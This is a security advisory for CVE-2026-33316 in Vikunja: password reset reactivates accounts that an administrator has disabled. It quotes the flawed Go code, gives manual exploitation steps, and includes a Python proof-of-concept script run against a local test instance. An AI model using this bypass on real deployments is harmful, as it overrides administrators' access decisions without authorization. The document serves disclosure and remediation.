CVE-2026-33316

### Summary A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement. #### Vulnerable Code Snippet In `pkg/user/user_password_reset.go`, beginning at line 66: ```go // Hash the password user.Password, err = HashPassword(reset.NewPassword) if err != nil { return } err = removeTokens(s, user, TokenPasswordReset) if err != nil { return } user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active _, err = s. Cols("password", "status"). Where("id = ?", user.ID). Update(user) if err != nil { return } ``` The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the `StatusDisabled` state by an administrator. Additionally, in the token request function (`RequestUserPasswordResetTokenByEmail`), the system fetches the user via `GetUserWithEmail()` which does **not** filter out disabled users, allowing them to legally request the token in the first place. ### PoC (Proof of Concept) #### Manual Exploitation Steps 1. Create a standard user account in Vikunja. 2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (`status = 2`). 3. Attempt to log in as the disabled user to verify access is blocked (receives `HTTP 412: This account is disabled`). 4. Without authenticating, send a `POST` request to `/api/v1/user/password/token` with the disabled user's email address. 5. Retrieve the password reset token from the incoming email. 6. Send a `POST` request to `/api/v1/user/password/reset` with the token and a new password. 7. Log in using the new password. Observe that the login succeeds (`HTTP 200`) and the account has been maliciously reactivated. #### Automation PoC ```python import requests import psycopg2 import time import secrets API_URL = "http://localhost:3456/api/v1" def main(): username = f"testuser_{secrets.token_hex(4)}" email = f"{username}@example.com" password = "SuperSecretPassword123!" print("[1] Registering user...") requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password}) print("[2] Admin disables account (Status = 2)...") conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password") cursor = conn.cursor() cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,)) conn.commit() print("[3] Verifying login is blocked...") res = requests.post(f"{API_URL}/login", json={"username": username, "password": password}) print(f"Login response: {res.status_code} (Should be 412)") print("[4] Attacker requests password reset...") requests.post(f"{API_URL}/user/password/token", json={"email": email}) print("[5] Attacker grabs token from email/DB...") cursor.execute("SELECT id FROM users WHERE username = %s;", (username,)) user_id = cursor.fetchone()[0] cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,)) token = cursor.fetchone()[0] print("[6] Attacker submits reset, triggering bug...") new_password = "HackedPassword123!" requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password}) print("[7] Attacker logs in successfully!") res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password}) print(f"Final Login response: {res.status_code} (Should be 200)") cursor.execute("SELECT status FROM users WHERE username = %s;", (username,)) print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)") conn.close() if __name__ == "__main__": main() ``` ### Impact * **Authentication & Authorization Bypass:** An attacker can unilaterally reverse an administrative security decision. * **Integrity & Confidentiality Impact:** The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.

Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement in code.vikunja.io/api